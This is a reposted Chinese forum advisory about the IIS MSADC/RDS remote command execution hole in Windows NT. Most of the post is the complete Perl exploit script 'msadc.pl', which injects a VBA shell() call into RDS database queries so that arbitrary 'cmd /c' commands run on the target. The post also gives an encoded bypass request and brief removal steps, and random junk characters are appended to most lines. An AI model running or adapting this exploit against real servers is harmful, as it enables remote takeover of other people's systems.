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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) x ;V7D5 q  
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涉及程序: j+0=)Q%I=  
Microsoft NT server 8F|8zX&  
o:E+c_^q`  
描述: smEKQHB  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 `$j"nP F_  
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详细: b|F_]i T  
如果你没有时间读详细内容的话,就删除: \DsP '-t  
c:\Program Files\Common Files\System\Msadc\msadcs.dll .]+Z<5Fo  
有关的安全问题就没有了。 !yAg!V KY  
~~eR,HYk  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Sc Uh -y_  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 icW?a9b&  
关于利用ODBC远程漏洞的描述,请参看: ,H!E :k  
L~N<<8?\   
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ]O Nf;RH  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 5:(uD3]  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp g3~e#vdz  
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这里不再论述。 S;DqM;Q  
v;.7-9c*  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: kL;sA'I:S  
[4uTp[U!r  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset *:r@-=M3=  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ;WX)g&19x  
L{fKZ  
mY9^W2:  
#将下面这段保存为txt文件,然后: "perl -x 文件名" t,$4J6  
c>+l3&`  
#!perl .nCF`5T!  
# d~f_wN&r  
# MSADC/RDS 'usage' (aka exploit) script J6Uo+0S  
# *,g|I8?%VD  
# by rain.forest.puppy j:'sbU  
# g.-{=kZ   
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Hts.G~~8  
# beta test and find errors! rlSar$  
b4`t, D  
use Socket; use Getopt::Std; Ara D_D  
getopts("e:vd:h:XR", \%args); @]r,cPx0Y  
H8d%_jCr  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; n}?XFx!%  
~"eos~AuW  
if (!defined $args{h} && !defined $args{R}) { \T)2J|mW  
print qq~ G+Ft2/+\  
Usage: msadc.pl -h <host> { -d <delay> -X -v } JWhi*je  
-h <host> = host you want to scan (ip or domain) TR:V7 d  
-d <seconds> = delay between calls, default 1 second 9W3zcL8  
-X = dump Index Server path table, if available wc7gOrPpm  
-v = verbose 7J@iJW],,  
-e = external dictionary file for step 5 u 0M[B7Q  
* SH5p  
Or a -R will resume a command session WW33ZJ  
hl`4_`3y  
~; exit;} h}PeXnRU  
qN h:;`  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; },9Hq~TA  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} &,B\ig1Jf  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} -#Xo^-&  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); yPG,+uQ$.  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} wZ7Opm<nt  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } _U}pdzX?  
A$gP: 1&m  
if (!defined $args{R}){ $ret = &has_msadc; px6[1'|g  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 6Y4sv5G  
m\QUt ;  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" rro92(y  
. "cmd /c "; S?pWxHR]  
$in=<STDIN>; chomp $in; f9FJ:?  
$command="cmd /c " . $in ; &'{6_-kh  
P|,@En 1!  
if (defined $args{R}) {&load; exit;} 'Fi\Qk'D@  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ?.1yNO*s  
&try_btcustmr; #- S%aeB  
wLn,x;;<  
print "\nStep 2: Trying to make our own DSN..."; M*M,Z  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ykFm$ 0m+I  
.Cq'D.  
print "\nStep 3: Trying known DSNs..."; '1'#,u!  
&known_dsn; K q;X(&Z  
1?:/8l%V  
print "\nStep 4: Trying known .mdbs..."; %j3XoRex><  
&known_mdb; ;vM&se63  
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if (defined $args{e}){ $['_m~ 2  
print "\nStep 5: Trying dictionary of DSN names..."; !S6zC >  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } G 3))3]  
 )l 0\TF  
print "Sorry Charley...maybe next time?\n"; S]_iobWK  
exit; 1/b5i8I2 v  
)b^yAzL?  
############################################################################## MTm}qx@L  
a3t[Tk;  
sub sendraw { # ripped and modded from whisker D#VUx9kugv  
sleep($delay); # it's a DoS on the server! At least on mine... u.!}s2wT#  
my ($pstr)=@_; )anprhc  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ;+:C  
die("Socket problems\n"); 8YroEX[5l  
if(connect(S,pack "SnA4x8",2,80,$target)){ @smjXeF o  
select(S); $|=1; WdQR^'b$   
print $pstr; my @in=<S>; A HnXN%m  
select(STDOUT); close(S); }N @8zB~X  
return @in; AlZ]UGf^  
} else { die("Can't connect...\n"); }} fpd4 v|(  
a=m4)tjk  
############################################################################## ?T.'  q  
3zC<k2B  
sub make_header { # make the HTTP request p'SclH[   
my $msadc=<<EOT ~kHWh8\b:  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ?@n, 9!  
User-Agent: ACTIVEDATA =3K}]3f  
Host: $ip ScN'|Ia.-  
Content-Length: $clen {'O,G$Ldkr  
Connection: Keep-Alive l X g.`  
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ADCClientVersion:01.06 #)A.yK`u  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 .W;,~.l  
e`]x?t<U4/  
--!ADM!ROX!YOUR!WORLD! k*xMe-  
Content-Type: application/x-varg KK-}&N8  
Content-Length: $reqlen VsIDd}~C%  
<L!9as]w  
EOT d@d\9*mn  
; $msadc=~s/\n/\r\n/g; ~m`j=ot  
return $msadc;} CEQs}bz  
^l;N;5L  
############################################################################## iX]tL:,~i  
sVT:1 kI  
sub make_req { # make the RDS request qYba%g9RN(  
my ($switch, $p1, $p2)=@_; &YiUhK  
my $req=""; my $t1, $t2, $query, $dsn; SM? rss.=  
_+B{n^ {  
if ($switch==1){ # this is the btcustmr.mdb query l$1 ]  
$query="Select * from Customers where City=" . make_shell(); E@.daUoB  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 9E`Laf  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} O0`o0 !=P  
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elsif ($switch==2){ # this is general make table query N [qNSo|  
$query="create table AZZ (B int, C varchar(10))"; OSu/ !Iv\  
$dsn="$p1";} B183h  
;T-`~  
elsif ($switch==3){ # this is general exploit table query A,PF#G(  
$query="select * from AZZ where C=" . make_shell(); TUy 25E  
$dsn="$p1";}  $I*<gn9  
w20)~&LE-  
elsif ($switch==4){ # attempt to hork file info from index server $?Dcp^  
$query="select path from scope()"; J 2H$ALl  
$dsn="Provider=MSIDXS;";} rt8"U <~  
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elsif ($switch==5){ # bad query f;{K+\T  
$query="select"; 4:zyZu3fm  
$dsn="$p1";} {TOz}=R"3h  
@~ 6,8nQ  
$t1= make_unicode($query); >;^t)6  
$t2= make_unicode($dsn); /#Fz K  
$req = "\x02\x00\x03\x00"; Y|X!da/  
$req.= "\x08\x00" . pack ("S1", length($t1)); (&o|}"kRq  
$req.= "\x00\x00" . $t1 ; w ]%EJ|'  
$req.= "\x08\x00" . pack ("S1", length($t2)); h/s8".\  
$req.= "\x00\x00" . $t2 ; td!YwN*  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; b)(si/]\  
return $req;} u.yjk/jF  
(fqU73  
############################################################################## xwhS[d  
dy"7Wl]hi7  
sub make_shell { # this makes the shell() statement 9EFQo^ E  
return "'|shell(\"$command\")|'";} o;[cApiQ,2  
qu`F,OG  
############################################################################## e'dx Y(  
]H-5    
sub make_unicode { # quick little function to convert to unicode P*!~Z *"  
my ($in)=@_; my $out; 9O4\DRe5c  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } |s!<vvp]  
return $out;} -`cNRd0n  
Z,_EhEm  
############################################################################## Y 8Dn&W  
7W.z8>p  
sub rdo_success { # checks for RDO return success (this is kludge) ]^>RBegJBO  
my (@in) = @_; my $base=content_start(@in); `Lj'2LoER  
if($in[$base]=~/multipart\/mixed/){ E51'TT9  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} P[K42 mm  
return 0;} y F;KyY{  
"2_nN]%u-  
############################################################################## %|(Cb!ySX  
UA3!28Y&E3  
sub make_dsn { # this makes a DSN for us qZ<|A%WQ  
my @drives=("c","d","e","f"); a/Ik^:>m  
print "\nMaking DSN: "; !QsmT3   
foreach $drive (@drives) { =a $7^d  
print "$drive: "; Dzr(Fb  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . iezY+`x4  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" H tx)MEZ  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); p)c"xaTP#F  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Ha/Gn !l  
return 0 if $2 eq "404"; # not found/doesn't exist %) /Bl.{}<  
if($2 eq "200") { 70F(`;  
foreach $line (@results) { W<\*5oB%H  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} X,`^z,M%I  
} return 0;} mV;)V8'  
gg?O0W{  
############################################################################## LZ4Z]!V  
R+<M"LriR&  
sub verify_exists { =<.h.n  
my ($page)=@_; j"Z9}F@  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 5E!Wp[^  
return $results[0];} 5?HoCz]l  
z^Y4:^L~I  
############################################################################## }>yQ!3/i  
92D :!C  
sub try_btcustmr { W61nJ7@  
my @drives=("c","d","e","f"); zwgO|Qg;  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ;\54(x}|K  
z)fg>?AGr  
foreach $dir (@dirs) { [&5%$ T  
print "$dir -> "; # fun status so you can see progress ./_4D}  
foreach $drive (@drives) { ;~"#aL50fe  
print "$drive: "; # ditto A3A"^f$$  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; #@Rtb\9  
$reqlenlen=length( "$reqlen" ); Ou5,7Ne  
$clen= 206 + $reqlenlen + $reqlen; 0 czEA  
BDcA_= ^R&  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); +i(;@% kv  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} O[5u6heNMr  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} JL=s=9N;3  
8z`Ne(h;  
############################################################################## A)HV#T`N  
;@/vKA3l.  
sub odbc_error { iu+rg(*%  
my (@in)=@_; my $base; iX6'3\Q3A  
my $base = content_start(@in); #vPf$y6jCI  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 8C4v  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; m%.7l8vT  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; UEH+E&BCC  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; x}7`Q:k=  
return $in[$base+4].$in[$base+5].$in[$base+6];} X+'B*K$  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; /9<62F@zJ"  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .  MuP&m{  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ]-8yZWal  
7b hJt_`Q  
############################################################################## Lb0BmR%0  
F2C v,&'  
sub verbose { Yg! xlrxA  
my ($in)=@_;  c.Do b?5  
return if !$verbose; ]GmXZi  
print STDOUT "\n$in\n";} j9 O"!9$vQ  
T?EFY}f  
############################################################################## tS sDW!!M  
#RTiWD[o  
sub save { _Bq[c  
my ($p1, $p2, $p3, $p4)=@_; q:3HU<  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; lk%W2N5  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; /F_(&H!m  
close OUT;} q":0\ar&QT  
T UO*w  
############################################################################## ]oE:p  
*v0}S5^ /"  
sub load { 89l{h8R  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; YnwP\Arfq  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); r1AG1Y  
@p=<IN>; close(IN); `t Zw(Z=h  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); X.)D"+xnH  
$target= inet_aton($ip) || die("inet_aton problems"); tRmH6  
print "Resuming to $ip ..."; &BkdC,o  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; gB}UzEj^<  
if($p[1]==1) { $LJCup,1"  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; }NF7"tOL  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; #RVN 7-x  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); vF .Ml  
if (rdo_success(@results)){print "Success!\n";} .Eg[[K_iD  
else { print "failed\n"; verbose(odbc_error(@results));}} "V:E BR  
elsif ($p[1]==3){ 1ZRSeh  
if(run_query("$p[3]")){ ['\ u?m  
print "Success!\n";} else { print "failed\n"; }} PP!} w  
elsif ($p[1]==4){ mqKr+  
if(run_query($drvst . "$p[3]")){ ZfSAXr "(  
print "Success!\n"; } else { print "failed\n"; }} z|WDqB%/I  
exit;} Nh+ZSV4WJ:  
4<l&cP  
############################################################################## p WLFJH}N  
{aYCrk1  
sub create_table { /+{1;}AT  
my ($in)=@_; O K2|/y  
$reqlen=length( make_req(2,$in,"") ) - 28; +EP=uV9t  
$reqlenlen=length( "$reqlen" ); \"AzT{l!;  
$clen= 206 + $reqlenlen + $reqlen; zR6^rq*  
my @results=sendraw(make_header() . make_req(2,$in,"")); ` EgO&;1D)  
return 1 if rdo_success(@results); kz?m `~1  
my $temp= odbc_error(@results); verbose($temp); FX:'38-fk  
return 1 if $temp=~/Table 'AZZ' already exists/; &dvL`  
return 0;} K0z@gWGE  
;(~H(]D  
############################################################################## P'p5-l UK  
[y1 x`WOk9  
sub known_dsn { [cvtF(,  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go &+-]!^2o  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", "M4 gl  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Ilv _.  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); >TQnCG =  
"%fvA;  
foreach $dSn (@dsns) { =d`/BDD  
print "."; ui4*vjd  
next if (!is_access("DSN=$dSn")); OVf%m~%&s  
if(create_table("DSN=$dSn")){ YDdY'd`*  
print "$dSn successful\n"; g9oY K  
if(run_query("DSN=$dSn")){ TP?HxO_C  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { N cnL-k.  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 23Juu V.  
r-IG.ym3  
############################################################################## EE[JXoke  
c&u~M=EW  
sub is_access { J<=k [Q  
my ($in)=@_; iJem9XXb  
$reqlen=length( make_req(5,$in,"") ) - 28; ;'xd8Jf  
$reqlenlen=length( "$reqlen" ); =EdLffU[J  
$clen= 206 + $reqlenlen + $reqlen; XbL\l  
my @results=sendraw(make_header() . make_req(5,$in,"")); /8tF7Mmr  
my $temp= odbc_error(@results); A3c&VT6Q  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 6<+8[o  
return 0;} (N`x  
H_+F~P5RC  
############################################################################## Q2 @Ugt$  
Nw|m"VLb  
sub run_query { 4> $weu^  
my ($in)=@_; {5N!udLDr5  
$reqlen=length( make_req(3,$in,"") ) - 28; SM@RELA'Lb  
$reqlenlen=length( "$reqlen" ); #E#.`/4  
$clen= 206 + $reqlenlen + $reqlen; GPVqt"TY  
my @results=sendraw(make_header() . make_req(3,$in,"")); PTFe>~vr*  
return 1 if rdo_success(@results); _Vf0MU;3f+  
my $temp= odbc_error(@results); verbose($temp); bRb+3au_x  
return 0;} SwVdo|%.?  
.*+KQ A8  
############################################################################## )3RbD#?  
> Vvjs  
sub known_mdb { +7|Qd}\X  
my @drives=("c","d","e","f","g"); K3($,aB}  
my @dirs=("winnt","winnt35","winnt351","win","windows"); /pOK4"  
my $dir, $drive, $mdb; *>f-UNV  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; @[(<oX%  
cp\A xWtUZ  
# this is sparse, because I don't know of many 2h^9lrQcQG  
my @sysmdbs=( "\\catroot\\icatalog.mdb", H&3i[D!p  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", E]26a,^L  
"\\system32\\certmdb.mdb", b+qdl`V d  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% E ^<.;  
35X4] t  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", >7^i>si  
"\\cfusion\\cfapps\\forums\\forums_.mdb", |)\{Rufb  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 4_B1qN  
"\\cfusion\\cfapps\\security\\realm_.mdb", BO 3%p  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Lavm  
"\\cfusion\\database\\cfexamples.mdb", Q'n]+%YN  
"\\cfusion\\database\\cfsnippets.mdb", u"*Wo'3I|  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", XexslzI  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", PK7 kpC  
"\\cfusion\\brighttiger\\database\\cleam.mdb", A/+bwCDP  
"\\cfusion\\database\\smpolicy.mdb", _]~= Kjp  
"\\cfusion\\database\cypress.mdb", jQLiqi`  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", %.+#e  
"\\website\\cgi-win\\dbsample.mdb", =fZMute  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", >84:1 `  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" AyUiX2=w1  
); #these are just g0 NSy3t  
foreach $drive (@drives) { [#hoW"'Q9  
foreach $dir (@dirs){ ( @y te  
foreach $mdb (@sysmdbs) { qe\JO'g#e  
print "."; {f kP|d  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ @p}"B9h*^  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; (iw)C)t*u  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 6xsB#v*  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; J&bhR9sF  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 4fp]z9Y  
GDUOUl&  
foreach $drive (@drives) { bRzw.(k0`r  
foreach $mdb (@mdbs) { KqH_?r`  
print "."; a1n j}1M%  
if(create_table($drv . $drive . $dir . $mdb)){ S66. .sa  
print "\n" . $drive . $dir . $mdb . " successful\n"; {~RS$ |  
if(run_query($drv . $drive . $dir . $mdb)){ b\^q9fy  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; _~_E(rTn  
} else { print "Something's borked. Use verbose next time\n"; }}}} `[*nUdG  
} Yo$ xz  
fqcFfz6?x  
############################################################################## ]sf1+3  
PfKF!/c B  
sub hork_idx { u:FFZ  
print "\nAttempting to dump Index Server tables...\n"; ~-.^eT kP  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; hL8GW> `a  
$reqlen=length( make_req(4,"","") ) - 28; D)*OQLHW  
$reqlenlen=length( "$reqlen" ); ]J%p&y+6  
$clen= 206 + $reqlenlen + $reqlen; @&G< Np`  
my @results=sendraw2(make_header() . make_req(4,"","")); ZC\&n4~7  
if (rdo_success(@results)){ [c=T)]E1  
my $max=@results; my $c; my %d; n6f  
for($c=19; $c<$max; $c++){ 5sc`L  
$results[$c]=~s/\x00//g; ?U PZ49y  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Z[{k-_HgAm  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; uK5&HdoM  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; _,m|gr ,S  
$d{"$1$2"}="";} fEB>3hI  
foreach $c (keys %d){ print "$c\n"; } _Ka6! 9  
} else {print "Index server doesn't seem to be installed.\n"; }} D'! v9}  
v>&sb3I  
############################################################################## _poe{@h!  
^XIVWf#`H  
sub dsn_dict { ;=?f0z<  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); dmkd.aP4  
while(<IN>){ &S8Pnb)d  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; zAxscD f'  
next if (!is_access("DSN=$dSn")); g[d.lJ=Q-N  
if(create_table("DSN=$dSn")){ V?*\ISB`}  
print "$dSn successful\n"; AK brXKx  
if(run_query("DSN=$dSn")){ *Ou)P9~-L  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ]tzO)c)w;  
print "Something's borked. Use verbose next time\n";}}} zL<<`u?  
print "\n"; close(IN);} [ 4_JK  
;F;"Uw  
############################################################################## .%'$3=/oe  
1Y-m=~J7  
sub sendraw2 { # ripped and modded from whisker pRAdo="  
sleep($delay); # it's a DoS on the server! At least on mine... %SX)Z i=O  
my ($pstr)=@_; { eU_  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || B)bq@jM  
die("Socket problems\n"); W=9Zl(2C  
if(connect(S,pack "SnA4x8",2,80,$target)){ ]^j'2nJv0  
print "Connected. Getting data"; \ tK{!v+  
open(OUT,">raw.out"); my @in; O&Ws*k  
select(S); $|=1; print $pstr; lOc!KZHUp  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Y8^pgv  
close(OUT); select(STDOUT); close(S); return @in; O" <W<l7Q  
} else { die("Can't connect...\n"); }} ,>^6ztM  
<r{M(yZ?@  
############################################################################## \VTNXEw*G  
aq|R?  
sub content_start { # this will take in the server headers 38[ko 3  
my (@in)=@_; my $c; Gw0_M&  
for ($c=1;$c<500;$c++) { SREe, e\  
if($in[$c] =~/^\x0d\x0a/){ nlfu y[oX  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } U60jkzIRH  
else { return $c+1; }}} */|Vyp-  
return -1;} # it should never get here actually dHtbl\6  
kYVn4Wq  
############################################################################## soH M5<U  
0(Hhb#WDh\  
sub funky { _7O;ED+  
my (@in)=@_; my $error=odbc_error(@in); #ZPU.NNT?  
if($error=~/ADO could not find the specified provider/){ \;h+:[<e1  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Jx:t(oUR+  
exit;} 0M'[|ci d|  
if($error=~/A Handler is required/){ VGVZ`|  
print "\nServer has custom handler filters (they most likely are patched)\n"; [CBhipoc  
exit;} \GR M,c  
if($error=~/specified Handler has denied Access/){ a*pwVn  
print "\nServer has custom handler filters (they most likely are patched)\n"; g@va@*|~d  
exit;}} 0!:1o61  
&7{/ x~S{  
############################################################################## JMUk=p<\  
B4<W%lm  
sub has_msadc { '>}dqp{Wr  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); [^cflmV  
my $base=content_start(@results); d=TZaVL$$  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); x tJ_azt  
return 0;} %|3I|'%Y  
(\Iz(N["G  
######################## : *~}\M*  
8+L,a_q-  
wClX3l>y  
解决方案: :DxCjv  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll hr+,-j  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 C/JeD-JG  
wX0m8" g@  
拿出来充数 哈哈
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